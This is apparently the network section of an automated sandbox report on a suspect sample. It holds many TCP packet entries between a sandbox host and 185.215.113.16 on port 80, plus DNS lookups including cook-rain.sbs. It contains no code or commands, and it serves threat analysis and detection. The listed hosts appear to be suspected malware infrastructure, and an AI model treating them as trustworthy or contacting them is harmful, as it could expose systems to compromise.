Nov 22, 2024 04:12:35.678242922 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.681169987 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.681260109 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.681303978 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.681397915 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.684214115 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.684329987 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.684387922 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.684407949 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.687201977 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.687264919 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.687304020 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.687364101 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.690208912 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.690318108 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.690385103 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.693200111 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.693308115 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.693367004 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.696135044 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.696198940 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.696248055 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.696572065 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.699131966 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.699232101 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.699240923 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.699336052 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.702100039 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.702193022 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.702266932 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.705101013 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.705203056 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.705215931 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.705279112 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.708082914 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.708197117 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.708261967 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.711054087 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.711182117 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.711261988 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.714061022 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.714140892 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.714169979 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.715086937 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.717012882 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.717072964 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.717119932 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.717179060 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.719995975 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.720099926 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.720160961 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.722975016 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.723087072 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.723093033 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.725985050 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.726049900 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.726069927 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.727080107 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.728950977 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.729032993 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.729093075 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.731919050 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.732028008 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.732085943 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.734940052 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.735004902 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.735070944 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.737891912 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.737955093 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.737989902 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.739080906 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.740888119 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.740962982 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.741024017 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.743259907 CET	443	49821	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:35.743896961 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.743964911 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.743969917 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.744484901 CET	49821	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:35.744502068 CET	443	49821	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:35.744518995 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.745120049 CET	49821	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:35.745125055 CET	443	49821	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:35.746843100 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.746906996 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.746973038 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.747081041 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.749819994 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.749932051 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.749989033 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.752784014 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.752892971 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.753005981 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.755814075 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.755871058 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.755932093 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.758778095 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.758845091 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.758892059 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.759099960 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.761749983 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.761914015 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.761975050 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.764727116 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.764843941 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.764908075 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.767714977 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.767827988 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.767893076 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.772068024 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.772227049 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.772293091 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.774868965 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.774930954 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.775016069 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.775090933 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.777822971 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.777967930 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.778036118 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.780881882 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.780903101 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.780978918 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.783688068 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.783854961 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.783921003 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.786765099 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.786832094 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.786916018 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.787081003 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.789798975 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.789856911 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.789941072 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.789990902 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.792799950 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.792886019 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.792946100 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.795088053 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.795748949 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.795876980 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.795944929 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.798782110 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.798948050 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.799019098 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.801665068 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.801805973 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.801883936 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.804696083 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.807080984 CET	443	49820	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:35.807102919 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.807624102 CET	49820	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:35.807660103 CET	443	49820	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:35.808229923 CET	49820	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:35.808238029 CET	443	49820	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:35.858078957 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.858207941 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.858385086 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.859240055 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.859472036 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.859545946 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.861532927 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.861603022 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.861612082 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.863090992 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.863812923 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.863899946 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.864068985 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.866075039 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.866193056 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.866261005 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.868307114 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.868453026 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.868546963 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.870533943 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.870641947 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.870703936 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.872684002 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.872792959 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.872848988 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.874833107 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.874902010 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.874944925 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.875085115 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.876950026 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.877008915 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.877054930 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.877114058 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.879014015 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.879132032 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.879194021 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.881117105 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.881242990 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.881305933 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.883157969 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.883261919 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.883359909 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.885198116 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.885266066 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.885278940 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.887077093 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.887157917 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.887207985 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.887248993 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.887299061 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.889151096 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.889271021 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.889324903 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.891140938 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.891247988 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.891299963 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.893090010 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.893142939 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.893208981 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.895025969 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.895107031 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.895129919 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.895179987 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.896967888 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.897095919 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.897217035 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.898895025 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.899025917 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.899080038 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.900791883 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.900959969 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.901024103 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.902692080 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.902801037 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.902858973 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.904580116 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.904642105 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.904685020 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.905072927 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.906481028 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.906527996 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.906589031 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.908308983 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.908421040 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.908474922 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.909349918 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.909473896 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.909527063 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.910404921 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.910459995 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.910518885 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.911076069 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.911477089 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.911531925 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.911588907 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.911640882 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.912528038 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.912580013 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.912625074 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.913592100 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.913615942 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.913646936 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.913688898 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.914653063 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.914704084 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.914746046 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.915693998 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.915766001 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.915807962 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.916802883 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.916852951 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.916866064 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.916904926 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.917804003 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.917917013 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.917970896 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.918862104 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.918967009 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.919019938 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.919936895 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.920053959 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.920108080 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.920984983 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.921040058 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.921106100 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.922061920 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.922122002 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.922163963 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.923079967 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.923116922 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.923224926 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.923279047 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.924149990 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.924261093 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.924309015 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.925192118 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.925245047 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.925304890 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.925625086 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.926256895 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.926357031 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.926413059 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.927335978 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.927401066 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.927458048 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.928332090 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.928386927 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.928395033 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.929406881 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.929476976 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.929495096 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.930469036 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.930526972 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.930546999 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.930602074 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.931472063 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.931571960 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.931628942 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.932521105 CET	80	49819	185.215.113.16	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 22, 2024 04:12:31.975471973 CET	192.168.2.4	1.1.1.1	0x83cd	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:12:48.346509933 CET	192.168.2.4	1.1.1.1	0xeeff	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:12:48.347084045 CET	192.168.2.4	1.1.1.1	0x925c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 22, 2024 04:12:54.345628977 CET	192.168.2.4	1.1.1.1	0xab9a	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:12:54.643759012 CET	192.168.2.4	1.1.1.1	0x7e5e	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 22, 2024 04:12:59.684901953 CET	192.168.2.4	1.1.1.1	0xceaa	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:12:59.699872017 CET	192.168.2.4	1.1.1.1	0x15a	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:12:59.822669983 CET	192.168.2.4	1.1.1.1	0x14b0	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:12:59.838859081 CET	192.168.2.4	1.1.1.1	0xdfe4	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:12:59.961127996 CET	192.168.2.4	1.1.1.1	0xbc0d	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 22, 2024 04:12:59.979249954 CET	192.168.2.4	1.1.1.1	0x410c	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 22, 2024 04:13:00.895525932 CET	192.168.2.4	1.1.1.1	0x80c8	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:01.057553053 CET	192.168.2.4	1.1.1.1	0xf9cb	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 04:13:01.058156967 CET	192.168.2.4	1.1.1.1	0xbb20	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
